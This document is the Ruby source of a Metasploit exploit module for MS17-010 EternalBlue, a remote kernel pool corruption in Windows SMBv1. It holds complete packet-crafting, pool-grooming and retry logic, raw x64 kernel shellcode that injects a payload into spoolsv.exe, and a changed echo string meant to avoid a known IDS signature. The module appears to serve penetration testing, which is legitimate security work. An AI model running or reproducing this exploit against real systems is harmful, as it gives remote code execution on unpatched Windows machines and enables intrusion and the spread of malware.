MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption Metasploit

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'ruby_smb'
require 'ruby_smb/smb1/packet'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption',
      'Description'    => %q{
        This module is a port of the Equation Group ETERNALBLUE exploit, part of
        the FuzzBunch toolkit released by Shadow Brokers.

        There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size
        is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a
        DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow
        is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later
        completed in srvnet!SrvNetWskReceiveComplete.

        This exploit, like the original may not trigger 100% of the time, and should be
        run continuously until triggered. It seems like the pool will get hot streaks
        and need a cool down period before the shells rain in again.
      },

      'Author'         => [
        'Sean Dillon <[email protected]>',  # @zerosum0x0
        'Dylan Davis <[email protected]>',  # @jennamagius
        'Equation Group',
        'Shadow Brokers'
       ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'MSB', 'MS17-010' ],
          [ 'CVE', '2017-0143' ],
          [ 'CVE', '2017-0144' ],
          [ 'CVE', '2017-0145' ],
          [ 'CVE', '2017-0146' ],
          [ 'CVE', '2017-0147' ],
          [ 'CVE', '2017-0148' ],
          [ 'URL', 'https://github.com/RiskSense-Ops/MS17-010' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'           => 2000,  # this can be more, needs to be recalculated
          'EncoderType'     => Msf::Encoder::Type::Raw,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 7 and Server 2008 (x64) All Service Packs',
            {
              'Platform'       => 'win',
              'Arch'           => [ ARCH_X64 ],

              'ep_thl_b'       => 0x308,  # EPROCESS.ThreadListHead.Blink offset
              'et_alertable'   => 0x4c,   # ETHREAD.Alertable offset
              'teb_acp'        => 0x2c8,  # TEB.ActivationContextPointer offset
              'et_tle'         => 0x420   # ETHREAD.ThreadListEntry offset
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Mar 14 2017'
    ))

    register_options(
      [
        Opt::RPORT(445),
        OptString.new('ProcessName', [ true, 'Process to inject payload into.', 'spoolsv.exe' ]),
        OptInt.new( 'MaxExploitAttempts', [ true,  "The number of times to retry the exploit.", 3 ] ),
        OptInt.new( 'GroomAllocations', [ true,  "Initial number of times to groom the kernel pool.", 12 ] ),
        OptInt.new( 'GroomDelta', [ true,  "The amount to increase the groom count by per try.", 5 ] )
      ])
  end

  def check
    # todo: create MS17-010 mixin, and hook up auxiliary/scanner/smb/smb_ms17_010
  end

  def exploit
    begin
      for i in 1..datastore['MaxExploitAttempts']

        grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1)

        smb_eternalblue(datastore['ProcessName'], grooms)

        # we don't need this sleep, and need to find a way to remove it
        # problem is session_count won't increment until stage is complete :\
        secs = 0
        while !session_created? and secs < 5
          secs += 1
          sleep 1
        end

        if session_created?
          print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
          print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
          print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
          break
        else
          print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
          print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
          print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
        end
      end

    rescue  ::RubySMB::Error::UnexpectedStatusCode,
            ::Errno::ECONNRESET,
            ::Rex::HostUnreachable,
            ::Rex::ConnectionTimeout,
            ::Rex::ConnectionRefused  => e
      print_bad("#{e.class}: #{e.message}")
    rescue => error
      print_bad(error.class.to_s)
      print_bad(error.message)
      print_bad(error.backtrace.join("\n"))
    ensure
      # pass
    end
  end

  #
  # Increase the default delay by five seconds since some kernel-mode
  # payloads may not run immediately.
  #
  def wfs_delay
    super + 5
  end

  def smb_eternalblue(process_name, grooms)
    begin
      # Step 0: pre-calculate what we can
      shellcode =  make_kernel_user_payload(payload.encode, 0, 0, 0, 0, 0)
      payload_hdr_pkt = make_smb2_payload_headers_packet
      payload_body_pkt = make_smb2_payload_body_packet(shellcode)

      # Step 1: Connect to IPC$ share
      print_status("Connecting to target for exploitation.")
      client, tree, sock = smb1_anonymous_connect_ipc()
      print_good("Connection established for exploitation.")

      print_status("Trying exploit with #{grooms} Groom Allocations.")

      # Step 2: Create a large SMB1 buffer
      print_status("Sending all but last fragment of exploit packet")
      smb1_large_buffer(client, tree, sock)

      # Step 3: Groom the pool with payload packets, and open/close SMB1 packets
      print_status("Starting non-paged pool grooming")

      # initialize_groom_threads(ip, port, payload, grooms)
      fhs_sock = smb1_free_hole(true)

      @groom_socks = []

      print_good("Sending SMBv2 buffers")
      smb2_grooms(grooms, payload_hdr_pkt)

      fhf_sock = smb1_free_hole(false)

      print_good("Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.")
      fhs_sock.shutdown()

      print_status("Sending final SMBv2 buffers.") # 6x
      smb2_grooms(6, payload_hdr_pkt) # todo: magic #

      fhf_sock.shutdown()

      print_status("Sending last fragment of exploit packet!")
      final_exploit_pkt = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_exploit, 15)
      sock.put(final_exploit_pkt)

      print_status("Receiving response from exploit packet")
      code, raw = smb1_get_response(sock)

      if code == 0xc000000d #STATUS_INVALID_PARAMETER (0xC000000D)
        print_good("ETERNALBLUE overwrite completed successfully (0xC000000D)!")
      end

      # Step 4: Send the payload
      print_status("Sending egg to corrupted connection.")

      @groom_socks.each{ |gsock| gsock.put(payload_body_pkt.first(2920)) }
      @groom_socks.each{ |gsock| gsock.put(payload_body_pkt[2920..(4204 - 0x84)]) }

      print_status("Triggering free of corrupted buffer.")
      # tree disconnect
      # logoff and x
      # note: these aren't necessary, just close the sockets

    ensure
      abort_sockets
    end
  end

  def smb2_grooms(grooms, payload_hdr_pkt)
    grooms.times do |groom_id|
      gsock = connect(false)
      @groom_socks << gsock
      gsock.put(payload_hdr_pkt)
    end
  end

  def smb1_anonymous_connect_ipc()
    sock = connect(false)
    dispatcher = RubySMB::Dispatcher::Socket.new(sock)
    client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '')
    client.negotiate

    pkt = make_smb1_anonymous_login_packet
    sock.put(pkt)

    code, raw, response = smb1_get_response(sock)

    unless code == 0 # WindowsError::NTStatus::STATUS_SUCCESS
      raise RubySMB::Error::UnexpectedStatusCode, "Error with anonymous login"
    end

    client.user_id = response.uid

    tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")

    return client, tree, sock
  end

  def smb1_large_buffer(client, tree, sock)
    nt_trans_pkt = make_smb1_nt_trans_packet(tree.id, client.user_id)

    # send NT Trans
    vprint_status("Sending NT Trans Request packet")
    sock.put(nt_trans_pkt)

    vprint_status("Receiving NT Trans packet")
    raw = sock.get_once

    # Initial Trans2  request
    trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0)

    # send all but last packet
    for i in 1..14
        trans2_pkt_nulled << make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_buffer, i)
    end

    trans2_pkt_nulled << make_smb1_echo_packet(tree.id, client.user_id)

    vprint_status("Sending malformed Trans2 packets")
    sock.put(trans2_pkt_nulled)

    sock.get_once
  end

  def smb1_free_hole(start)
    sock = connect(false)
    dispatcher = RubySMB::Dispatcher::Socket.new(sock)
    client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '')
    client.negotiate

    pkt = ""

    if start
      vprint_status("Sending start free hole packet.")
      pkt = make_smb1_free_hole_session_packet("\x07\xc0", "\x2d\x01", "\xf0\xff\x00\x00\x00")
    else
      vprint_status("Sending end free hole packet.")
      pkt = make_smb1_free_hole_session_packet("\x07\x40", "\x2c\x01", "\xf8\x87\x00\x00\x00")
    end

    #dump_packet(pkt)
    sock.put(pkt)

    vprint_status("Receiving free hole response.")
    sock.get_once

    return sock
  end

  def smb1_get_response(sock)
    raw = sock.get_once
    response = RubySMB::SMB1::SMBHeader.read(raw[4..-1])
    code = response.nt_status
    return code, raw, response
  end

  def make_smb2_payload_headers_packet
    # don't need a library here, the packet is essentially nonsensical
    pkt = ""
    pkt << "\x00"             # session message
    pkt << "\x00\xff\xf7"     # size
    pkt << "\xfeSMB"          # SMB2
    pkt << "\x00" * 124

    pkt
  end

  def make_smb2_payload_body_packet(kernel_user_payload)
    # precalculated lengths
    pkt_max_len = 4204
    pkt_setup_len = 497
    pkt_max_payload = pkt_max_len - pkt_setup_len # 3575

    # this packet holds padding, KI_USER_SHARED_DATA addresses, and shellcode
    pkt = ""

    # padding
    pkt << "\x00" * 0x8
    pkt << "\x03\x00\x00\x00"
    pkt << "\x00" * 0x1c
    pkt << "\x03\x00\x00\x00"
    pkt << "\x00" * 0x74

    # KI_USER_SHARED_DATA addresses
    pkt << "\xb0\x00\xd0\xff\xff\xff\xff\xff" * 2 # x64 address
    pkt << "\x00" * 0x10
    pkt << "\xc0\xf0\xdf\xff" * 2                 # x86 address
    pkt << "\x00" * 0xc4

    # payload addreses
    pkt << "\x90\xf1\xdf\xff"
    pkt << "\x00" * 0x4
    pkt << "\xf0\xf1\xdf\xff"
    pkt << "\x00" * 0x40

    pkt << "\xf0\x01\xd0\xff\xff\xff\xff\xff"
    pkt << "\x00" * 0x8
    pkt << "\x00\x02\xd0\xff\xff\xff\xff\xff"
    pkt << "\x00"

    pkt << kernel_user_payload

    # fill out the rest, this can be randomly generated
    pkt << "\x00" * (pkt_max_payload - kernel_user_payload.length)

    pkt
  end

  def make_smb1_echo_packet(tree_id, user_id)
    pkt = ""
    pkt << "\x00"               # type
    pkt << "\x00\x00\x31"       # len = 49
    pkt << "\xffSMB"            # SMB1
    pkt << "\x2b"               # Echo
    pkt << "\x00\x00\x00\x00"   # Success
    pkt << "\x18"               # flags
    pkt << "\x07\xc0"           # flags2
    pkt << "\x00\x00"           # PID High
    pkt << "\x00\x00\x00\x00"   # Signature1
    pkt << "\x00\x00\x00\x00"   # Signature2
    pkt << "\x00\x00"           # Reserved
    pkt << [tree_id].pack("S>") # Tree ID
    pkt << "\xff\xfe"           # PID
    pkt << [user_id].pack("S>") # UserID
    pkt << "\x40\x00"           # MultiplexIDs

    pkt << "\x01"               # Word count
    pkt << "\x01\x00"           # Echo count
    pkt << "\x0c\x00"           # Byte count

    # echo data
    # this is an existing IDS signature, and can be nulled out
    #pkt << "\x4a\x6c\x4a\x6d\x49\x68\x43\x6c\x42\x73\x72\x00"
    pkt <<  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00"

    pkt
  end

  # Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit
  def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
    timeout = (timeout * 0x10) + 3

    pkt = ""
    pkt << "\x00"                   # Session message
    pkt << "\x00\x10\x35"           # length
    pkt << "\xffSMB"                # SMB1
    pkt << "\x33"                   # Trans2 request
    pkt << "\x00\x00\x00\x00"       # NT SUCCESS
    pkt << "\x18"                   # Flags
    pkt << "\x07\xc0"               # Flags2
    pkt << "\x00\x00"               # PID High
    pkt << "\x00\x00\x00\x00"       # Signature1
    pkt << "\x00\x00\x00\x00"       # Signature2
    pkt << "\x00\x00"               # Reserved
    pkt << [tree_id].pack("S>")       # TreeID
    pkt << "\xff\xfe"               # PID
    pkt << [user_id].pack("S>")       # UserID
    pkt << "\x40\x00"               # MultiplexIDs

    pkt << "\x09"                   # Word Count
    pkt << "\x00\x00"               # Total Param Count
    pkt << "\x00\x10"               # Total Data Count
    pkt << "\x00\x00"               # Max Param Count
    pkt << "\x00\x00"               # Max Data Count
    pkt << "\x00"                   # Max Setup Count
    pkt << "\x00"                   # Reserved
    pkt << "\x00\x10"               # Flags
    pkt << "\x35\x00\xd0"           # Timeouts
    pkt << timeout.chr
    pkt << "\x00\x00"               # Reserved
    pkt << "\x00\x10"               # Parameter Count

    #pkt << "\x74\x70"               # Parameter Offset
    #pkt << "\x47\x46"               # Data Count
    #pkt << "\x45\x6f"               # Data Offset
    #pkt << "\x4c"                   # Setup Count
    #pkt << "\x4f"                   # Reserved

    if type == :eb_trans2_exploit
      vprint_status("Making :eb_trans2_exploit packet")

      pkt << "\x41" * 2957

      pkt << "\x80\x00\xa8\x00"                     # overflow

      pkt << "\x00" * 0x10
      pkt << "\xff\xff"
      pkt << "\x00" * 0x6
      pkt << "\xff\xff"
      pkt << "\x00" * 0x16

      pkt << "\x00\xf1\xdf\xff"             # x86 addresses
      pkt << "\x00" * 0x8
      pkt << "\x20\xf0\xdf\xff"

      pkt << "\x00\xf1\xdf\xff\xff\xff\xff\xff" # x64

      pkt << "\x60\x00\x04\x10"
      pkt << "\x00" * 4

      pkt << "\x80\xef\xdf\xff"

      pkt << "\x00" * 4
      pkt << "\x10\x00\xd0\xff\xff\xff\xff\xff"
      pkt << "\x18\x01\xd0\xff\xff\xff\xff\xff"
      pkt << "\x00" * 0x10

      pkt << "\x60\x00\x04\x10"
      pkt << "\x00" * 0xc
      pkt << "\x90\xff\xcf\xff\xff\xff\xff\xff"
      pkt << "\x00" * 0x8
      pkt << "\x80\x10"
      pkt << "\x00" * 0xe
      pkt << "\x39"
      pkt << "\xbb"

      pkt << "\x41" * 965

      return pkt
    end

    if type == :eb_trans2_zero
      vprint_status("Making :eb_trans2_zero packet")
      pkt << "\x00" * 2055
      pkt << "\x83\xf3"
      pkt << "\x41" * 2039
      #pkt << "\x00" * 4096
    else
      vprint_status("Making :eb_trans2_buffer packet")
      pkt << "\x41" * 4096
    end

    pkt

  end

  def make_smb1_nt_trans_packet(tree_id, user_id)
    pkt = ""
    pkt << "\x00"                   # Session message
    pkt << "\x00\x04\x38"           # length
    pkt << "\xffSMB"                # SMB1
    pkt << "\xa0"                   # NT Trans
    pkt << "\x00\x00\x00\x00"       # NT SUCCESS
    pkt << "\x18"                   # Flags
    pkt << "\x07\xc0"               # Flags2
    pkt << "\x00\x00"               # PID High
    pkt << "\x00\x00\x00\x00"       # Signature1
    pkt << "\x00\x00\x00\x00"       # Signature2
    pkt << "\x00\x00"               # Reserved
    pkt << [tree_id].pack("S>")       # TreeID
    pkt << "\xff\xfe"               # PID
    pkt << [user_id].pack("S>")       # UserID
    pkt << "\x40\x00"               # MultiplexID

    pkt << "\x14"                   # Word Count
    pkt << "\x01"                   # Max Setup Count
    pkt << "\x00\x00"               # Reserved
    pkt << "\x1e\x00\x00\x00"       # Total Param Count
    pkt << "\xd0\x03\x01\x00"       # Total Data Count
    pkt << "\x1e\x00\x00\x00"       # Max Param Count
    pkt << "\x00\x00\x00\x00"       # Max Data Count
    pkt << "\x1e\x00\x00\x00"       # Param Count
    pkt << "\x4b\x00\x00\x00"       # Param Offset
    pkt << "\xd0\x03\x00\x00"       # Data Count
    pkt << "\x68\x00\x00\x00"       # Data Offset
    pkt << "\x01"                   # Setup Count
    pkt << "\x00\x00"               # Function <unknown>
    pkt << "\x00\x00"               # Unknown NT transaction (0) setup
    pkt << "\xec\x03"               # Byte Count
    pkt << "\x00" * 0x1f            # NT Parameters

    # undocumented
    pkt << "\x01"
    pkt << "\x00" * 0x3cd

    pkt
  end

  def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)
    pkt = ""
    pkt << "\x00"                   # Session message
    pkt << "\x00\x00\x51"           # length
    pkt << "\xffSMB"                # SMB1
    pkt << "\x73"                   # Session Setup AndX
    pkt << "\x00\x00\x00\x00"       # NT SUCCESS
    pkt << "\x18"                   # Flags
    pkt << flags2                   # Flags2
    pkt << "\x00\x00"               # PID High
    pkt << "\x00\x00\x00\x00"       # Signature1
    pkt << "\x00\x00\x00\x00"       # Signature2
    pkt << "\x00\x00"               # Reserved
    pkt << "\x00\x00"               # TreeID
    pkt << "\xff\xfe"               # PID
    pkt << "\x00\x00"               # UserID
    pkt << "\x40\x00"               # MultiplexID
    #pkt << "\x00\x00"               # Reserved

    pkt << "\x0c"                   # Word Count
    pkt << "\xff"                   # No further commands
    pkt << "\x00"                   # Reserved
    pkt << "\x00\x00"               # AndXOffset
    pkt << "\x04\x11"               # Max Buffer
    pkt << "\x0a\x00"               # Max Mpx Count
    pkt << vcnum                    # VC Number
    pkt << "\x00\x00\x00\x00"       # Session key
    pkt << "\x00\x00"               # Security blob length
    pkt << "\x00\x00\x00\x00"       # Reserved
    pkt << "\x00\x00\x00\x80"       # Capabilities
    pkt << "\x16\x00"               # Byte count
    #pkt << "\xf0"                   # Security Blob: <MISSING>
    #pkt << "\xff\x00\x00\x00"       # Native OS
    #pkt << "\x00\x00"               # Native LAN manager
    #pkt << "\x00\x00"               # Primary domain
    pkt << native_os
    pkt << "\x00" * 17              # Extra byte params

    pkt
  end

  def make_smb1_anonymous_login_packet
    # Neither Rex nor RubySMB appear to support Anon login?
    pkt = ""
    pkt << "\x00"                   # Session message
    pkt << "\x00\x00\x88"           # length
    pkt << "\xffSMB"                # SMB1
    pkt << "\x73"                   # Session Setup AndX
    pkt << "\x00\x00\x00\x00"       # NT SUCCESS
    pkt << "\x18"                   # Flags
    pkt << "\x07\xc0"               # Flags2
    pkt << "\x00\x00"               # PID High
    pkt << "\x00\x00\x00\x00"       # Signature1
    pkt << "\x00\x00\x00\x00"       # Signature2
    pkt << "\x00\x00"               # TreeID
    pkt << "\xff\xfe"               # PID
    pkt << "\x00\x00"               # Reserved
    pkt << "\x00\x00"               # UserID
    pkt << "\x40\x00"               # MultiplexID

    pkt << "\x0d"                   # Word Count
    pkt << "\xff"                   # No further commands
    pkt << "\x00"                   # Reserved
    pkt << "\x88\x00"               # AndXOffset
    pkt << "\x04\x11"               # Max Buffer
    pkt << "\x0a\x00"               # Max Mpx Count
    pkt << "\x00\x00"               # VC Number
    pkt << "\x00\x00\x00\x00"       # Session key
    pkt << "\x01\x00"               # ANSI pw length
    pkt << "\x00\x00"               # Unicode pw length
    pkt << "\x00\x00\x00\x00"       # Reserved
    pkt << "\xd4\x00\x00\x00"       # Capabilities
    pkt << "\x4b\x00"               # Byte count
    pkt << "\x00"                   # ANSI pw
    pkt << "\x00\x00"               # Account name
    pkt << "\x00\x00"               # Domain name

    # Windows 2000 2195
    pkt << "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32"
    pkt << "\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00\x35\x00"
    pkt << "\x00\x00"

    # Windows 2000 5.0
    pkt << "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32"
    pkt << "\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00\x2e\x00\x30\x00\x00\x00"

    pkt
  end

  # ring3 = user mode encoded payload
  # proc_name = process to inject APC into
  # ep_thl_b = EPROCESS.ThreadListHead.Blink offset
  # et_alertable = ETHREAD.Alertable offset
  # teb_acp = TEB.ActivationContextPointer offset
  # et_tle = ETHREAD.ThreadListEntry offset
  def make_kernel_user_payload(ring3, proc_name, ep_thl_b, et_alertable, teb_acp, et_tle)
    sc = make_kernel_shellcode
    sc << [ring3.length].pack("S<")
    sc << ring3
    sc
  end

  def make_kernel_shellcode
    # https://github.com/RiskSense-Ops/MS17-010/blob/master/payloads/x64/src/exploit/kernel.asm
    # Name: kernel
    # Length: 1019 bytes

    #"\xcc"+
    "\xB9\x82\x00\x00\xC0\x0F\x32\x48\xBB\xF8\x0F\xD0\xFF\xFF\xFF\xFF" +
    "\xFF\x89\x53\x04\x89\x03\x48\x8D\x05\x0A\x00\x00\x00\x48\x89\xC2" +
    "\x48\xC1\xEA\x20\x0F\x30\xC3\x0F\x01\xF8\x65\x48\x89\x24\x25\x10" +
    "\x00\x00\x00\x65\x48\x8B\x24\x25\xA8\x01\x00\x00\x50\x53\x51\x52" +
    "\x56\x57\x55\x41\x50\x41\x51\x41\x52\x41\x53\x41\x54\x41\x55\x41" +
    "\x56\x41\x57\x6A\x2B\x65\xFF\x34\x25\x10\x00\x00\x00\x41\x53\x6A" +
    "\x33\x51\x4C\x89\xD1\x48\x83\xEC\x08\x55\x48\x81\xEC\x58\x01\x00" +
    "\x00\x48\x8D\xAC\x24\x80\x00\x00\x00\x48\x89\x9D\xC0\x00\x00\x00" +
    "\x48\x89\xBD\xC8\x00\x00\x00\x48\x89\xB5\xD0\x00\x00\x00\x48\xA1" +
    "\xF8\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x48\x89\xC2\x48\xC1\xEA\x20\x48" +
    "\x31\xDB\xFF\xCB\x48\x21\xD8\xB9\x82\x00\x00\xC0\x0F\x30\xFB\xE8" +
    "\x38\x00\x00\x00\xFA\x65\x48\x8B\x24\x25\xA8\x01\x00\x00\x48\x83" +
    "\xEC\x78\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x41\x5B\x41\x5A\x41\x59" +
    "\x41\x58\x5D\x5F\x5E\x5A\x59\x5B\x58\x65\x48\x8B\x24\x25\x10\x00" +
    "\x00\x00\x0F\x01\xF8\xFF\x24\x25\xF8\x0F\xD0\xFF\x56\x41\x57\x41" +
    "\x56\x41\x55\x41\x54\x53\x55\x48\x89\xE5\x66\x83\xE4\xF0\x48\x83" +
    "\xEC\x20\x4C\x8D\x35\xE3\xFF\xFF\xFF\x65\x4C\x8B\x3C\x25\x38\x00" +
    "\x00\x00\x4D\x8B\x7F\x04\x49\xC1\xEF\x0C\x49\xC1\xE7\x0C\x49\x81" +
    "\xEF\x00\x10\x00\x00\x49\x8B\x37\x66\x81\xFE\x4D\x5A\x75\xEF\x41" +
    "\xBB\x5C\x72\x11\x62\xE8\x18\x02\x00\x00\x48\x89\xC6\x48\x81\xC6" +
    "\x08\x03\x00\x00\x41\xBB\x7A\xBA\xA3\x30\xE8\x03\x02\x00\x00\x48" +
    "\x89\xF1\x48\x39\xF0\x77\x11\x48\x8D\x90\x00\x05\x00\x00\x48\x39" +
    "\xF2\x72\x05\x48\x29\xC6\xEB\x08\x48\x8B\x36\x48\x39\xCE\x75\xE2" +
    "\x49\x89\xF4\x31\xDB\x89\xD9\x83\xC1\x04\x81\xF9\x00\x00\x01\x00" +
    "\x0F\x8D\x66\x01\x00\x00\x4C\x89\xF2\x89\xCB\x41\xBB\x66\x55\xA2" +
    "\x4B\xE8\xBC\x01\x00\x00\x85\xC0\x75\xDB\x49\x8B\x0E\x41\xBB\xA3" +
    "\x6F\x72\x2D\xE8\xAA\x01\x00\x00\x48\x89\xC6\xE8\x50\x01\x00\x00" +
    "\x41\x81\xF9\xBF\x77\x1F\xDD\x75\xBC\x49\x8B\x1E\x4D\x8D\x6E\x10" +
    "\x4C\x89\xEA\x48\x89\xD9\x41\xBB\xE5\x24\x11\xDC\xE8\x81\x01\x00" +
    "\x00\x6A\x40\x68\x00\x10\x00\x00\x4D\x8D\x4E\x08\x49\xC7\x01\x00" +
    "\x10\x00\x00\x4D\x31\xC0\x4C\x89\xF2\x31\xC9\x48\x89\x0A\x48\xF7" +
    "\xD1\x41\xBB\x4B\xCA\x0A\xEE\x48\x83\xEC\x20\xE8\x52\x01\x00\x00" +
    "\x85\xC0\x0F\x85\xC8\x00\x00\x00\x49\x8B\x3E\x48\x8D\x35\xE9\x00" +
    "\x00\x00\x31\xC9\x66\x03\x0D\xD7\x01\x00\x00\x66\x81\xC1\xF9\x00" +
    "\xF3\xA4\x48\x89\xDE\x48\x81\xC6\x08\x03\x00\x00\x48\x89\xF1\x48" +
    "\x8B\x11\x4C\x29\xE2\x51\x52\x48\x89\xD1\x48\x83\xEC\x20\x41\xBB" +
    "\x26\x40\x36\x9D\xE8\x09\x01\x00\x00\x48\x83\xC4\x20\x5A\x59\x48" +
    "\x85\xC0\x74\x18\x48\x8B\x80\xC8\x02\x00\x00\x48\x85\xC0\x74\x0C" +
    "\x48\x83\xC2\x4C\x8B\x02\x0F\xBA\xE0\x05\x72\x05\x48\x8B\x09\xEB" +
    "\xBE\x48\x83\xEA\x4C\x49\x89\xD4\x31\xD2\x80\xC2\x90\x31\xC9\x41" +
    "\xBB\x26\xAC\x50\x91\xE8\xC8\x00\x00\x00\x48\x89\xC1\x4C\x8D\x89" +
    "\x80\x00\x00\x00\x41\xC6\x01\xC3\x4C\x89\xE2\x49\x89\xC4\x4D\x31" +
    "\xC0\x41\x50\x6A\x01\x49\x8B\x06\x50\x41\x50\x48\x83\xEC\x20\x41" +
    "\xBB\xAC\xCE\x55\x4B\xE8\x98\x00\x00\x00\x31\xD2\x52\x52\x41\x58" +
    "\x41\x59\x4C\x89\xE1\x41\xBB\x18\x38\x09\x9E\xE8\x82\x00\x00\x00" +
    "\x4C\x89\xE9\x41\xBB\x22\xB7\xB3\x7D\xE8\x74\x00\x00\x00\x48\x89" +
    "\xD9\x41\xBB\x0D\xE2\x4D\x85\xE8\x66\x00\x00\x00\x48\x89\xEC\x5D" +
    "\x5B\x41\x5C\x41\x5D\x41\x5E\x41\x5F\x5E\xC3\xE9\xB5\x00\x00\x00" +
    "\x4D\x31\xC9\x31\xC0\xAC\x41\xC1\xC9\x0D\x3C\x61\x7C\x02\x2C\x20" +
    "\x41\x01\xC1\x38\xE0\x75\xEC\xC3\x31\xD2\x65\x48\x8B\x52\x60\x48" +
    "\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x12\x48\x8B\x72\x50\x48\x0F" +
    "\xB7\x4A\x4A\x45\x31\xC9\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41" +
    "\xC1\xC9\x0D\x41\x01\xC1\xE2\xEE\x45\x39\xD9\x75\xDA\x4C\x8B\x7A" +
    "\x20\xC3\x4C\x89\xF8\x41\x51\x41\x50\x52\x51\x56\x48\x89\xC2\x8B" +
    "\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00\x00\x48\x01\xD0\x50\x8B" +
    "\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\x48\xFF\xC9\x41\x8B\x34\x88" +
    "\x48\x01\xD6\xE8\x78\xFF\xFF\xFF\x45\x39\xD9\x75\xEC\x58\x44\x8B" +
    "\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01" +
    "\xD0\x41\x8B\x04\x88\x48\x01\xD0\x5E\x59\x5A\x41\x58\x41\x59\x41" +
    "\x5B\x41\x53\xFF\xE0\x56\x41\x57\x55\x48\x89\xE5\x48\x83\xEC\x20" +
    "\x41\xBB\xDA\x16\xAF\x92\xE8\x4D\xFF\xFF\xFF\x31\xC9\x51\x51\x51" +
    "\x51\x41\x59\x4C\x8D\x05\x1A\x00\x00\x00\x5A\x48\x83\xEC\x20\x41" +
    "\xBB\x46\x45\x1B\x22\xE8\x68\xFF\xFF\xFF\x48\x89\xEC\x5D\x41\x5F" +
    "\x5E\xC3"
  end

end

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